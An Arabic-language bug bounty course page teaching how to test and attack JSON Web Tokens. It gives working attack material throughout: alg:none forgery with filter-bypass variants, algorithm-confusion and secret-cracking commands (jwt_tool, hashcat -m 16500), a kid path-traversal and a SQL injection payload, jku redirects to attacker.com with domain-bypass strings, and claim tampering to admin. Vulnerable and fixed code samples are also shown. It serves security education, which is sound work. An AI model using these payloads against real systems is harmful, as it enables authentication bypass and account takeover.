BUG BOUNTY · AUTHENTICATION · JWT ATTACKS

منهجية اختبار

الـ JWT.

من فهم التوقيع الكريبتوغرافي لحد استغلال الـ algorithm confusion وسرقة الـ secret — الدليل الكامل لاختراق الـ JSON Web Tokens.

TAUGHT BY HAMADA KHAIRY · JWT · AUTHN · BUG BOUNTY
Hamada Khairy
THE INSTRUCTOR
// 01 — المبدأ الأساسي

الـ JWT — إيه هو بالظبط؟

الفرق بين الـ Stateful والـ Stateless — وليه الـ JWT هو الـ attack surface الأساسية في كل API حديثة.

◆ ◇ ◆
🏛️ الطريقة القديمة — STATEFUL

Session-Based Auth

الـ server بيعمل session في الـ DB أو Redis وبيديك session ID في الـ cookie. كل request — database lookup.

// SESSION FLOW POST /login ↓ Creates: sessions table row ↓ Set-Cookie: sid=abc123xyz GET /dashboard Cookie: sid=abc123xyz ↓ SELECT * FROM sessions WHERE id = 'abc123xyz' ↓ Found → Authenticated ✅
🚀 الطريقة الجديدة — STATELESS

JWT-Based Auth

الـ server بيعمل JWT مكتوب فيه كل المعلومات. مفيش DB lookup — بيتحقق من الـ signature بس.

// JWT FLOW POST /login ↓ Creates: JWT token ↓ Response: eyJhbGc...(token) GET /dashboard Authorization: Bearer eyJhbGc... ↓ verify(signature) ONLY ↓ Valid → Authenticated ✅ ↓ NO database lookup needed
// SCRIPT — ليه الـ JWT هو الـ Target في Bug Bounty0:00 – 6:00

السؤال اللي لازم تسأله: لو الـ server مش بيعمل database lookup — إزاي بيتأكد إن الـ token ما اتغيرش؟ الإجابة هي الـ Cryptographic Signature.

والسؤال التاني: لو الـ attacker قدر يغير الـ token أو يعمل token جديد بدون الـ secret key — إيه اللي هيحصل؟ هيقدر يتحول لأي user في السيستم — حتى الـ admin.

🎯 الـ JWT bugs من أعلى الـ impact في الـ bug bounty: بتؤدي دايماً لـ Authentication Bypass أو Account Takeover كامل. الـ CVSS score بيكون 9.0+ في معظم الحالات.

الـ JWT مش بس token — هو التعاقد المكتوب بين الـ client والـ server. لو قدرت تزور التوقيع، الـ contract بقى بتاعتك.

📍 Authorization Header

الأكتر شيوعاً في APIs:

Authorization:
Bearer eyJhbGci...
🍪 Cookie Header

بعض التطبيقات تحط الـ JWT في Cookie:

Cookie: jwt=eyJhbGc...
Cookie: token=eyJhb...
🔗 URL Parameter

Anti-pattern خطير — بيظهر في الـ logs:

GET /file?token=eyJh...
// بيتسجل في server logs
// 02 — التشريح الكامل

الـ JWT — الأجزاء الثلاثة

قبل ما تهاجم أي حاجة لازم تفهم الـ structure. كل جزء ليه دور مختلف — وكل جزء له attack vector مختلف.

◆ ◇ ◆
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiI4ODAwMzI3Iiwicm9sZSI6InVzZXIiLCJlbWFpbCI6ImFyc29uQGhhY2tlci5vbmUiLCJpYXQiOjE3MzIwMDAwMDAsImV4cCI6MTczMjA4NjQwMH0.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
⬡ HEADER — الـ Metadata
{ "alg": "HS256", "typ": "JWT" }
⬡ PAYLOAD — الـ Claims
{ "userId": "8800327", "role": "user", "email": "arson@hacker.one", "iat": 1732000000, "exp": 1732086400 }
⬡ SIGNATURE — الضمان
HMACSHA256( base64url(header) + "." + base64url(payload), SECRET_KEY )
// SCRIPT — دور كل جزء6:00 – 16:00

الـ Header: بيقول "أنا JWT وبيتحقق مني باستخدام HS256". الـ alg field هو أول حاجة الـ server بيشوفها — وهو الـ attack surface الأولى.

الـ Payload: بيحتوي على الـ Claims — الادعاءات عن الـ user. في Claims مقننة زي exp (expiration)، sub (user ID)، وفي Claims خاصة بالتطبيق زي role أو isAdmin.

الـ Signature: هو الحارس. بدونه — الـ payload مجرد JSON ممكن يغيره أي حد. معاه — الـ server يتأكد إن الـ token ما اتلعبش فيه.

⚠️ الجزء الأهم: الـ alg field في الـ header مش مضمون — ده هو قلب الـ JWT attacks. الـ server في أغلب الأحيان بيثق في اللي المهاجم كتبه في الـ header!

الـ Registered Claims — RFC 7519

Claim الاسم الوظيفة أهميته للـ Attacker
sub Subject الـ user ID CRITICAL — تغييره = ATO مباشر
exp Expiration متى الـ token بينتهي HIGH — رفعه = token لا ينتهي
aud Audience الـ service اللي الـ token معمول ليه HIGH — cross-service replay
iss Issuer مين أصدر الـ token MEDIUM
jti JWT ID Unique ID للـ token MEDIUM — replay attacks
iat Issued At إمتى اتعمل LOW
// 03 — الغلطة الأشهر

Base64 Encryption

أهم مفهوم في الـ JWT — الـ payload مكشوف دايماً ومقروء من أي حد.

◆ ◇ ◆
❌ الفهم الغلط

الـ Payload متشفر؟

كتير من الـ developers بيفتكروا إن الـ JWT payload "متشفر" لأنه شايف حروف عشوائية. ده خطأ فادح.

// LOOKS ENCRYPTED? eyJ1c2VySWQiOiI4ODAwMzI3Iiw icm9sZSI6ImFkbWluIn0 // Let's decode it... echo "eyJ1c2VySWQiOiI4O..." | base64 -d // Result: // {"userId":"8800327","role":"admin"}
✅ الحقيقة

Base64 = Encoding فقط

Encoding = تحويل format بدون مفتاح.
Encryption = تشفير يحتاج مفتاح للفك.

// 3 WAYS TO DECODE // Terminal: echo "eyJhbGciOiJIUzI1NiJ9" | base64 -d // {"alg":"HS256"} // Browser Console: atob("eyJhbGciOiJIUzI1NiJ9") // {"alg":"HS256"} // jwt.io → paste → decoded instantly // NO key needed. Anyone can read it.
// SCRIPT — الـ Payload مكشوف دايماً16:00 – 22:00

ده معناه إن أي حد يقدر يقرأ الـ payload — حتى لو الـ signature صح. المعلومات زي الـ userId والـ role والـ email — كلها plain text لأي حد يعترض الـ token.

لكن قراءة الـ payload مختلفة عن تعديله. لو غيرت الـ payload — الـ signature هتبقى مش بتطابق. الـ server هيرفض. ده الأمان الحقيقي.

💡 الـ Security في الـ JWT مش في "إخفاء" الـ payload — هو في ضمان سلامته. الاستثناء الوحيد: الـ JWE (JSON Web Encryption) بيشفر الـ payload فعلاً — بس ده نادر الاستخدام. 99% من الـ JWTs في Bug Bounty = JWS (Signed) مش JWE.
// 04 — الكريبتوغرافي

كيف يعمل التوقيع؟

فهم الـ signature هو مفتاح فهم كل الـ attacks. كل attack بتستغل weakness في كيفية التحقق من التوقيع.

◆ ◇ ◆
// SCRIPT — الـ HMAC Formula خطوة بخطوة22:00 – 35:00

الـ signature عبارة عن hash function بياخد input وبيطلع output ثابت. الـ input هو الـ header والـ payload مع بعض، والـ function هي الـ HMAC-SHA256.

الفكرة الأساسية: لو غيرت أي byte في الـ input — الـ output (الـ signature) هيتغير تماماً. ده بيعني إن أي تعديل على الـ payload هيكشفه الـ server فوراً لما يتحقق.

// ─── HMAC-SHA256 SIGNATURE GENERATION ─────────────────────────── headerB64 = base64url({"alg":"HS256","typ":"JWT"}) payloadB64 = base64url({"userId":"8800327","role":"user"}) message = headerB64 + "." + payloadB64 signature = HMAC(SHA256, message, SECRET_KEY) // ─── VERIFICATION (Server Side) ────────────────────────────────── expected_sig = HMAC(SHA256, headerB64+"."+payloadB64, SECRET_KEY) provided_sig = SflKxwRJSMeKKF2QT4fwpMeJf36... // Compare: if expected_sig !== provided_sig 401 Unauthorized if expected_sig === provided_sig 200 OK ✅
// SCRIPT — ليه الـ SECRET_KEY هو كل حاجة35:00 – 44:00

الـ SECRET_KEY هو الفرق بين تطبيق آمن وتطبيق قابل للاختراق. بدون الـ secret — المهاجم يقدر يشوف الـ payload بس مش يقدر يعمل signature صح.

لو المهاجم عنده الـ secret — خلاص. هيقدر يعمل أي token عايزه بأي claims. لو الـ secret ضعيف — يقدر يخمنه بـ hashcat. لو التحقق مش موجود أصلاً — مش محتاج الـ secret خالص.

🔑 الـ Secret Key المثالي: 256+ bit من الـ random bytes (مش كلمة زي "secret" أو "admin123"). لازم تتعمل بـ cryptographic random number generator — مش بإيدك.

الـ test الأساسي لكل JWT: شيل آخر حرف من الـ signature وبعت الـ request. لو رجع 200 — الـ signature مش validated. لو رجع 401 — الـ signature validated وعندنا attack vectors تانية.

⚡ SIGNATURE VALIDATION TESTأول حاجة تعملها
// TEST: IS SIGNATURE VALIDATED? // Original JWT: eyJhbGciOiJIUzI1NiJ9.eyJ1c2VySWQiOiI4ODAifQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6y // Remove last character from signature: eyJhbGciOiJIUzI1NiJ9.eyJ1c2VySWQiOiI4ODAifQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6 // Send to server and check response: 200 OK → ⚡ Signature NOT validated → Jackpot! 401 → Signature IS validated → Use other attacks

لو الـ signature مش validated — تقدر تغير أي claim في الـ payload وبعته وهيشتغل. ده الـ ATO أبسط طريقة.

// 05 — نوعا التوقيع

HMAC vs RSA — الفرق الجوهري

نوع الـ algorithm بيحدد الـ attack vectors المتاحة لك. لازم تعرف الفرق قبل ما تبدأ.

◆ ◇ ◆
⚡ SYMMETRIC — HS256 / HS384 / HS512

نفس المفتاح للتوقيع والتحقق

الـ server يستخدم نفس الـ SECRET_KEY عشان يوقع ويتحقق. ده معناه:

  • Risk لو الـ secret اتسرب — أي حد يقدر يزور tokens
  • Risk لو الـ secret ضعيف — hashcat هيكسره في دقائق
  • Attack الـ Algorithm Confusion attack ممكن
  • Note أبسط implementation — لذلك الأكثر انتشاراً
// HS256 FLOW // Sign: sig = HMAC(SHA256, msg, secret) // Verify: ok = HMAC(SHA256, msg, same secret) == sig
🔐 ASYMMETRIC — RS256 / ES256 / PS256

مفتاح خاص للتوقيع، عام للتحقق

الـ server يوقع بالـ private key ويعطي الـ public key لأي حد عشان يتحقق. ده معناه:

  • Safer الـ private key ما بيتشارش أبداً
  • Safer الـ public key عام ومش سر
  • Attack الـ Algorithm Confusion هو الـ main vector
  • Attack الـ jku / jwk injection ممكن
// RS256 FLOW // Sign (private key only): sig = RSA_sign(msg, private_key) // Verify (public key — shareable!): ok = RSA_verify(msg, sig, public_key)
// SCRIPT — اكتشاف الـ Algorithm44:00 – 52:00

أول لحظة تشوف JWT — افتح jwt.io وشوف الـ alg field في الـ header. ده بيحدد بالظبط إيه الـ attacks المتاحة.

لو HS256: جرب الـ algorithm confusion (RS256 → HS256)، وجرب تعمل brute force على الـ secret بالـ hashcat. لو RS256: فكر في الـ jku injection، الـ jwk injection، والـ kid path traversal.

📝 Pointer مهم: لو شايف HS256 في تطبيق كبير — ده ممكن يكون legacy implementation أو technical debt. الـ developers الـ modern بيستخدموا RS256/ES256. HS256 بيعني ممكن في weak secret.
Algorithm النوع الـ Attack Vectors الأولوية
HS256/384/512 Symmetric (HMAC) alg:none، Algorithm Confusion، Weak Secret Brute Force HIGHEST
RS256/384/512 Asymmetric (RSA) Algorithm Confusion، jku injection، jwk injection، kid injection HIGH
ES256/384/512 Asymmetric (ECDSA) jku injection، jwk injection، kid injection HIGH
none No Signature مباشرة قابل للتزوير CRITICAL
// 06 — أبسط الـ Attacks

الـ None Algorithm Attack

الـ JWT spec بيسمح بـ "none" كـ algorithm — معناه مفيش signature. لو الـ server قبله — الـ game over.

◆ ◇ ◆
💀 NONE ALGORITHM ATTACK — alg:noneCRITICAL — Auth Bypass

الـ JWT spec الأصلي بيتيح الـ none algorithm للحالات اللي مفيهاش حاجة تتحقق منها. بس لو الـ server قبل الـ none algorithm من الـ client — أي حد يقدر يعمل token من غير signature.

// SCRIPT — الـ None Attack خطوة بخطوة52:00 – 68:00

الـ attack بسيط جداً: خد الـ JWT الأصلي، غير الـ alg في الـ header لـ "none"، غير الـ payload زي ما تحب، واشيل الـ signature — بس خلي الـ dot الأخير موجود!

// STEP 1: ORIGINAL TOKEN eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiI4ODAiLCJyb2xlIjoidXNlciJ9.SflKxwRJSMeKKF2QT4 // Decoded header: {"alg":"HS256","typ":"JWT"} // Decoded payload: {"userId":"880","role":"user"} // STEP 2: CRAFT ATTACK TOKEN // New header: {"alg":"none","typ":"JWT"} // → base64url encode it: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0 // New payload: {"userId":"880","role":"ADMIN"} // → base64url encode it: eyJ1c2VySWQiOiI4ODAiLCJyb2xlIjoiQURNSU4ifQ // No signature — but KEEP the trailing dot! ← empty sig // STEP 3: FINAL ATTACK TOKEN eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VySWQiOiI4ODAiLCJyb2xlIjoiQURNSU4ifQ. ↑ trailing dot REQUIRED
// SCRIPT — Bypass Filters68:00 – 78:00

بعض الـ implementations بيبلوكوا الـ "none" string. بس كتير من الـ libraries بتعمل case-insensitive comparison أو مش بتتحقق من كل الـ variations:

// NONE ALGORITHM BYPASS VARIATIONS "alg": "none" ← standard "alg": "None" ← capital N bypass "alg": "NONE" ← all caps bypass "alg": "nOnE" ← mixed case bypass "alg": "" ← empty string bypass "alg": "n\u006Fne" ← unicode escape bypass
⚠️ الـ Fix الصحيح: الـ server لازم يحدد الـ expected algorithms بشكل explicit في الـ code، مش يقرأ الـ algorithm من الـ header. الـ server هو اللي يقرر — مش الـ client.
// 07 — الـ Attack الأذكى

Algorithm Confusion — RS256 → HS256

الأذكى والأكثر تأثيراً. بتخلي الـ server يتحقق من الـ signature بالـ public key كـ HMAC secret.

◆ ◇ ◆
🧠 ALGORITHM CONFUSION ATTACKCRITICAL — CVE-2015-9235 family

الـ server عنده كود زي ده: jwt.verify(token, key). لو الـ server عامل RS256 — الـ key المفروض يكون الـ public key. بس لو المهاجم غير الـ alg لـ HS256 — الـ library هتستخدم الـ public key كـ HMAC secret. والـ attacker عنده الـ public key — هو public!

// SCRIPT — الـ Algorithm Confusion خطوة بخطوة78:00 – 100:00

الـ scenario: التطبيق بيستخدم RS256. الـ public key متاح من endpoint زي /.well-known/jwks.json أو /api/public-key. المهاجم بيعمل الآتي:

يجيب الـ public key (هو public — مش سر). يبني JWT جديد بالـ header {"alg":"HS256"}. يوقع الـ token بـ الـ HMAC-SHA256 باستخدام الـ public key كـ secret. الـ server بيستلم الـ token، بيشوف alg:HS256، بيعمل verify بالـ public key كـ HMAC secret — ويتطابق!

🔑 الفكرة الذهبية: الـ server بيستخدم نفس الـ key في كل الحالتين. لما يشوف HS256 بيستخدم الـ public key كـ HMAC secret. المهاجم عنده الـ public key — يعمل نفس الـ HMAC — signature صح!
// STEP 1: GET THE PUBLIC KEY GET /.well-known/jwks.json // Response: { "keys": [{ "kty": "RSA", "use": "sig", "n": "0vx7agoebGcQSuuPiLJXZptN9nndrQmbXEps2aiAFbWh...", "e": "AQAB" }] } // STEP 2: CONVERT TO PEM FORMAT // Use jwt_tool or Burp JWT Editor extension: -----BEGIN PUBLIC KEY----- MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0vx7... -----END PUBLIC KEY----- // STEP 3: SIGN WITH HS256 USING PUBLIC KEY AS SECRET // jwt_tool command: python3 jwt_tool.py <original_jwt> -X k -pk public_key.pem // Or Burp Suite → JWT Editor → Attack → Sign with RS/ECDSA Key // STEP 4: RESULT — TAMPERED TOKEN ACCEPTED BY SERVER // Modified payload: {"role": "admin"} → signed with public key as HMAC // Server verifies with public key as HMAC secret → MATCH ✅ // Admin access achieved!
❌ الـ Vulnerable Code (Node.js)
// DANGEROUS — uses header's alg const payload = jwt.verify( token, publicKey, ← same key always // no algorithm specified! ); // alg from header is trusted blindly
✅ الـ Fixed Code
// SAFE — algorithm hardcoded const payload = jwt.verify( token, publicKey, { algorithms: ['RS256'] } // HS256 will be REJECTED );
// 08 — الـ Offline Attack

Weak Secrets — Hashcat Brute Force

الـ HS256 signature يمكن كسره offline. كل اللي محتاجه JWT واحد صح وwordlist.

◆ ◇ ◆
// SCRIPT — ليه الـ Offline Attack خطير100:00 – 118:00

الـ JWT signature بيمكن التحقق منه offline. يعني مش محتاج تبعت requests للـ server عشان تعرف لو الـ secret صح. ده معناه:

تاخد JWT واحد صح من الـ traffic، وتجرب millions من الـ secrets في الثانية بالـ hashcat. الـ server مش بيعرف وما فيش rate limiting هنا.

🏎️ Hashcat بيتشغل على الـ GPU — يعني ممكن يجرب مليارات من الـ HMAC computations في الثانية. الـ wordlists المتخصصة زي SecLists/jwt.secrets.list بتحتوي على أشهر الـ weak secrets.
// STEP 1: EXTRACT JWT FROM BURP // Copy the full JWT token from Authorization header JWT=eyJhbGciOiJIUzI1NiJ9.eyJ1c2VySWQiOiI4ODAifQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c // STEP 2: HASHCAT COMMAND // Mode 16500 = JWT (HS256/384/512) hashcat -a 0 -m 16500 $JWT /path/to/wordlist.txt // Common wordlists: // /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt // /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt // jwt.secrets.list (specialized for JWT) // Show results if already cracked: hashcat -a 0 -m 16500 $JWT wordlist.txt --show // STEP 3: EXAMPLE OUTPUT (CRACKED!) eyJhbGciOiJIUzI1NiJ9.eyJ1c2VySWQiOiI4ODAifQ.SflK...:secret ↑ Found secret key! // STEP 4: FORGE TOKEN WITH CRACKED SECRET // Now use jwt.io or jwt_tool to sign a new token: python3 jwt_tool.py <original_jwt> -T -S hs256 -p "secret" // -T = tamper mode (choose claims to modify) // -S hs256 = sign with HS256 // -p = the cracked password/secret
أشهر الـ Weak Secrets في Production
secret ← أشهرهم secret123 ← developer lazy jwt_secret ← variable name as value your-256-bit-secret ← copy-paste from docs supersecret changethis admin password 1234567890 key
الـ Wordlists المتخصصة
  • Tool jwt.secrets.list من PortSwigger Labs
  • Tool SecLists/Passwords/JWT
  • Tool rockyou.txt (أشهر wordlist)
  • Tool jwt_tool.py مع auto wordlist
  • Tip ابدأ بأصغر wordlist أسرع
  • Tip بعدين روح لـ rockyou
// 09 — Header Parameters

Header Injections — kid / jku / jwk

الـ JWT header بيحتوي على parameters بيستخدمها الـ server لإيجاد الـ key — وكلها attack vectors.

◆ ◇ ◆
// SCRIPT — الـ Header Parameters المخطرة118:00 – 150:00

الـ JWT header مش بس بيحتوي على alg. في parameters تانية زي kid (Key ID) وjku (JWK Set URL) وjwk (JSON Web Key). كلها بيستخدمها الـ server عشان يجيب الـ key اللي هيتحقق بيه من الـ signature.

الـ vulnerability: لو الـ server بيثق في القيم دي من الـ token من غير validation — المهاجم يقدر يوجهه لـ key بتاعه هو.

🗝️ KID PATH TRAVERSALCRITICAL

الـ kid (Key ID) parameter بيقول للـ server أي key يستخدم. لو الـ server بيجيب الـ key من الـ filesystem بناءً على الـ kid — Path Traversal ممكن.

// NORMAL KID USAGE "kid": "key-2024-01" // Server: reads /keys/key-2024-01 from filesystem // PATH TRAVERSAL ATTACK "kid": "../../../../dev/null" // Server: reads /dev/null → empty string // Attacker signs token with "" (empty string) as secret // Server verifies with empty string → MATCH ✅ // SIGN WITH EMPTY SECRET python3 jwt_tool.py <token> -T -S hs256 -p ""
💉 KID SQL INJECTIONCRITICAL

لو الـ server بيعمل SQL query بالـ kid عشان يجيب الـ key من DB — SQL Injection ممكن عشان يرجع key معروف.

// SERVER-SIDE VULNERABLE CODE // query = "SELECT key FROM jwt_keys WHERE id = '" + kid + "'" // ATTACK — INJECT SQL TO RETURN KNOWN VALUE "kid": "xxx' UNION SELECT 'attacker_secret'-- -" // Query becomes: // SELECT key FROM jwt_keys WHERE id = 'xxx' // UNION SELECT 'attacker_secret'-- - // → Returns: 'attacker_secret' // Sign token with 'attacker_secret' as HS256 secret: python3 jwt_tool.py <token> -T -S hs256 -p "attacker_secret" // Server verifies → 'attacker_secret' == 'attacker_secret' ✅
🌐 JKU INJECTION — JWK Set URLCRITICAL

الـ jku parameter بيقول للـ server يجيب الـ public key من URL معين. لو الـ server فتح الـ URL من غير whitelist — المهاجم بيستضيف الـ key بتاعه على server تاني.

// LEGITIMATE JKU "jku": "https://target.com/.well-known/jwks.json" // ATTACK — REDIRECT TO ATTACKER'S JWKS "jku": "https://attacker.com/evil-jwks.json" // Server fetches jwks.json from attacker's server // Attacker hosts a jwks.json with their own public key // Token is signed with attacker's matching private key // Server: fetches attacker key → verifies → MATCH ✅ // BYPASS DOMAIN RESTRICTIONS "jku": "https://target.com@attacker.com/evil.json" "jku": "https://target.com.attacker.com/evil.json" "jku": "https://attacker.com/evil.json?x=https://target.com"
🔑 JWK HEADER INJECTION — Embedded KeyCRITICAL

الـ jwk parameter بيسمح بتضمين الـ public key في الـ header نفسه. لو الـ server قبل الـ key من الـ header من غير whitelist — المهاجم يضمن الـ key بتاعه.

// ATTACK — EMBED ATTACKER'S PUBLIC KEY IN HEADER { "alg": "RS256", "typ": "JWT", "jwk": { "kty": "RSA", "kid": "attacker-key-id", "use": "sig", "n": "attacker's public key modulus...", "e": "AQAB" } } // Token signed with attacker's PRIVATE key // Server reads PUBLIC key from jwk header // Verifies with embedded key → MATCH ✅ // Burp Suite → JWT Editor extension → Embedded JWK attack (1 click)
// 10 — Payload Attacks

Claim Manipulation — تزوير الـ Payload

لما تكسر الـ signature validation — الـ claims بقت ملعب بتاعك. كل claim فيه impact مختلف.

◆ ◇ ◆
🎯 ROLE / PERMISSION CLAIMS — الـ Impact الأعلى

Vertical Privilege Escalation

// BEFORE (original payload) { "userId": "8800327", "role": "user", "exp": 1732086400 } // AFTER (tampered) { "userId": "8800327", "role": "admin", ← escalated! "isAdmin": true, ← check all boolean flags "exp": 9999999999 ← never expires }
👤 USER ID / SUB CLAIMS — Account Takeover

Horizontal Privilege Escalation

// BEFORE (your account) { "sub": "8800327", ← your ID "email": "you@test.com" } // AFTER (victim's account) { "sub": "1", ← admin ID usually "email": "admin@corp.com" ← guessed } // Or enumerate: sub: 1, 2, 3, 4...
⏰ EXPIRATION CLAIM — Token Eternal

Session Persistence Attack

// MANIPULATION "exp": 1732086400 ← current (expires tomorrow) "exp": 9999999999 ← year 2286 (never expires) "exp": null ← some libs skip null check "exp": -1 ← negative (edge case test) // Also test: remove exp entirely // {"sub":"123","role":"admin"} ← no exp field
🏢 TENANT / SCOPE CLAIMS

Cross-Tenant Access

// MULTI-TENANT BYPASS "tenantId": "tenant_abc" ← yours "tenantId": "tenant_xyz" ← competitor! // Scope manipulation: "scope": "read" "scope": "read write delete admin" // Audience bypass: "aud": "api-service" "aud": "admin-service"
// 11 — الـ Fatal Mistake

decode() vs verify() — الخطأ القاتل

الفرق بين الاتنين هو كل الفرق. كتير من الـ developers بيخلطوا بينهم — وده بيلغي الـ security كلها.

◆ ◇ ◆
❌ decode() — بدون verification
// DANGEROUS — Node.js jsonwebtoken const decoded = jwt.decode(token); // ← NO signature check! // ← Accepts ANY token // ← Even forged ones const userId = decoded.userId; // userId can be ANYTHING // attacker controls this! // Python PyJWT equivalent: jwt.decode(token, options={"verify_signature": False})
✅ verify() — مع Signature Check
// SAFE — Node.js jsonwebtoken const decoded = jwt.verify( token, process.env.JWT_SECRET, { algorithms: ['HS256'] } ); // ← Signature verified ✅ // ← Algorithm enforced ✅ // ← Expiry checked ✅ // Python PyJWT: jwt.decode(token, secret, algorithms=['HS256'])
// SCRIPT — اكتشاف الـ decode() Fallacy في Code Review150:00 – 162:00

لما بتعمل code review أو لما بيكون عندك source code — دور على jwt.decode( بدل jwt.verify(. في JavaScript: decode مش آمن بدون verify. في Python: options={"verify_signature": False} خطر.

🔍 في الـ Bug Bounty: لو قدرت تعمل تعديل في الـ payload وما اتبلوكتش — ده دليل واضح إن الـ decode() بيتاستخدم بدل الـ verify(). جرب تغير الـ role أو الـ userId وشوف الـ response.
// 12 — الـ Methodology الكاملة

JWT Testing — 8 خطوات منهجية

من اللحظة اللي تشوف فيها JWT في الـ Burp لحد ما تكتب الـ report — كل خطوة بالترتيب.

◆ ◇ ◆
I

اكتشاف الـ JWT في الـ Traffic

افتح Burp Suite وابحث عن الـ pattern eyJ في الـ headers والـ cookies. دي الـ signature بتاعة كل JWT. في Burp → Target → Site Map → Search لـ "eyJ". كمان ابحث في الـ Response headers لأن بعض التطبيقات بتعمل token rotation.

II

Decode والـ Analysis

افتح jwt.io أو استخدم الـ Burp JWT Editor extension. وثق في الـ notes: الـ algorithm، كل الـ claims في الـ header والـ payload، وخصوصاً الـ role وuser ID claims. ابحث عن sequential IDs في الـ sub/userId.

III

Test Signature Validation

في Burp Repeater: شيل آخر حرف من الـ signature وبعت الـ request. لو 200 → signature not validated → الـ payload مفتوح للتعديل المباشر. لو 401 → validated → انتقل للـ attacks التانية.

IV

None Algorithm Attack

غير الـ header لـ {"alg":"none"}، غير الـ payload، واشيل الـ signature مع الاحتفاظ بالـ trailing dot. جرب كل الـ variations: "None"، "NONE"، "nOnE". استخدم Burp JWT Editor → Attack → None Algorithm.

V

Algorithm Confusion (لو RS256)

جيب الـ public key من /.well-known/jwks.json أو الـ endpoint المعروفة. حول الـ alg لـ HS256. وقع الـ token بالـ HMAC-SHA256 باستخدام الـ public key كـ secret. استخدم jwt_tool.py -X k أو Burp JWT Editor.

VI

Weak Secret Brute Force (لو HS256)

استخدم hashcat -a 0 -m 16500 مع أشهر الـ wordlists. ابدأ بالـ jwt.secrets.list ثم rockyou. لو اتكسر الـ secret — اعمل token بأي claims عايزها.

VII

Header Parameter Injections

لو في kid: جرب path traversal ../../../../dev/null وSQL injection. لو في jku: حاول توجهه لـ server بتاعك. لو في jwk: استخدم Burp JWT Editor → Embedded JWK attack.

VIII

Claim Manipulation والـ Impact Proof

بعد ما قدرت تزور الـ token: غير الـ role لـ admin، غير الـ sub لـ ID تاني، ارفع الـ exp. وثق الـ PoC بالـ screenshots وكتب الـ report مع الـ impact الكامل.

// JWT TESTING NOTES TEMPLATE
# [TARGET] — JWT SECURITY TESTING ## Token Discovery Location: Authorization: Bearer (header) Endpoint: POST /api/auth/login Used on: /api/dashboard, /api/user/*, /api/admin/* ## Token Analysis Algorithm: HS256 ← target for weak secret + alg confusion Header claims: {"alg":"HS256","typ":"JWT"} Payload claims: {"userId":"8800327","role":"user","exp":1732086400} Sub/UserID: 8800327 ← is it sequential? Check A2 for comparison ## Tests Performed Sig Validation: FAILED ← removed last char → still 200 OK ⚡ None attack: BLOCKED ← 401 with alg:none Weak secret: RUNNING ← hashcat running with rockyou.txt Alg confusion: N/A ← HS256, not RS256 Claim manip: SUCCESS ← changed role to admin → admin panel access ✅ ## Impact CRITICAL: Signature not validated on /api/admin/* endpoints Any user can forge admin JWT and access admin panel
// 13 — خرائط القرار

Decision Trees — كل قرار له مساره

من لحظة ما تشوف JWT لحد ما تكتب الـ report — كل decision له tree.

◆ ◇ ◆
// MASTER JWT HUNTING TREE
Found JWT in traffic — start here

PHASE 1 — SIGNATURE VALIDATION TEST

Remove last sig char → send
200 OK⚡ NOT validated!Change any claim freely → DONE
401Validated → continue to Phase 2

PHASE 2 — NONE ALGORITHM ATTACK

Set alg:none, strip signature, keep trailing dot
200 OK⚡ None accepted!Modify payload freely → DONE
401Try "None", "NONE", "" variations → continue

PHASE 3 — ALGORITHM BRANCH

IF HS256 BRANCH

Hashcat brute force
CrackedSign any token ✅
FailedCheck kid/other headers

IF RS256/ES256 BRANCH

Algorithm confusion
jku injection → attacker server
jwk embedded key attack

PHASE 4 — HEADER PARAMETERS (any algorithm)

kid parameter present?YESPath traversal ../../../../dev/null + SQL injection
jku parameter present?YESRedirect to attacker JWKS server
jwk parameter present?YESEmbedded JWK attack (Burp JWT Editor)
// NONE ALGORITHM DETAILED TREE
alg:none attempt
Try lowercase: alg:"none"200?✅ DONE
Try: alg:"None"200?✅ DONE
Try: alg:"NONE"200?✅ DONE
Try: remove alg field entirely200?✅ DONE
Try: empty signature (keep dot)200?✅ DONE
All 401None algorithm properly blocked → next attack
// KID INJECTION DECISION TREE
kid parameter in header?
kid value looks like a filename?YESPath traversal: ../../../../dev/null
kid reflected in error messages?YESSQL injection: xxx' UNION SELECT 'x'-- -
Path traversal works?YESSign with empty secret "" ✅
SQL injection works?YESSign with injected secret ✅
Both failCheck jku/jwk parameters
// 14 — الملخص

JWT Cheatsheet الكامل

◆ ◇ ◆
🔍 Identification
  • ابحث عن eyJ في كل الـ headers والـ cookies
  • Authorization: Bearer / Cookie: jwt= / Cookie: token=
  • افتح jwt.io — وثق algorithm وكل الـ claims
  • شيل آخر حرف من الـ sig → test validation
  • دور على kid/jku/jwk في الـ header
⚔️ Attack Priority
  • 1st Test signature validation (remove last char)
  • 2nd alg:none attack (all case variations)
  • 3rd Hashcat weak secret (HS256 only)
  • 4th Algorithm confusion (RS256 → HS256)
  • 5th kid/jku/jwk header injection
🔑 Public Key Locations
  • /.well-known/jwks.json — أشهر endpoint
  • /api/auth/jwks — custom endpoint
  • /oauth/.well-known/openid-configuration
  • /public-key أو /cert
  • الـ JavaScript source code (client-side signing anti-pattern)
🛠️ Tools
  • jwt.io — Decode وتعديل الـ tokens
  • Burp JWT Editor — All JWT attacks (extension)
  • jwt_tool.py — CLI attacks وscanning
  • Hashcat -m 16500 — Offline secret cracking
  • jwt-cracker — Brute force alternative
// BURP REPEATER CHECKLIST — لكل JWT جديد [ ] 1. Decode at jwt.io → document algorithm + claims [ ] 2. Remove last sig char → 200? → payload is writable! [ ] 3. alg:none → keep trailing dot → try all case variations [ ] 4. HS256? → hashcat -m 16500 → check weak wordlists first [ ] 5. RS256? → get public key → algorithm confusion → sign with it [ ] 6. kid present? → ../../../../dev/null → SQL injection [ ] 7. jku present? → redirect to attacker server [ ] 8. jwk present? → Burp JWT Editor → Embedded JWK [ ] 9. Got valid forge? → escalate: role→admin, sub→1, exp→9999999999 [ ] 10. Document: original token + attack token + request + response
Attack الـ Condition الـ Tool الـ Impact
Signature Not Validated اي algorithm Burp Repeater AUTH BYPASS
alg:none Library vulnerable Burp JWT Editor AUTH BYPASS
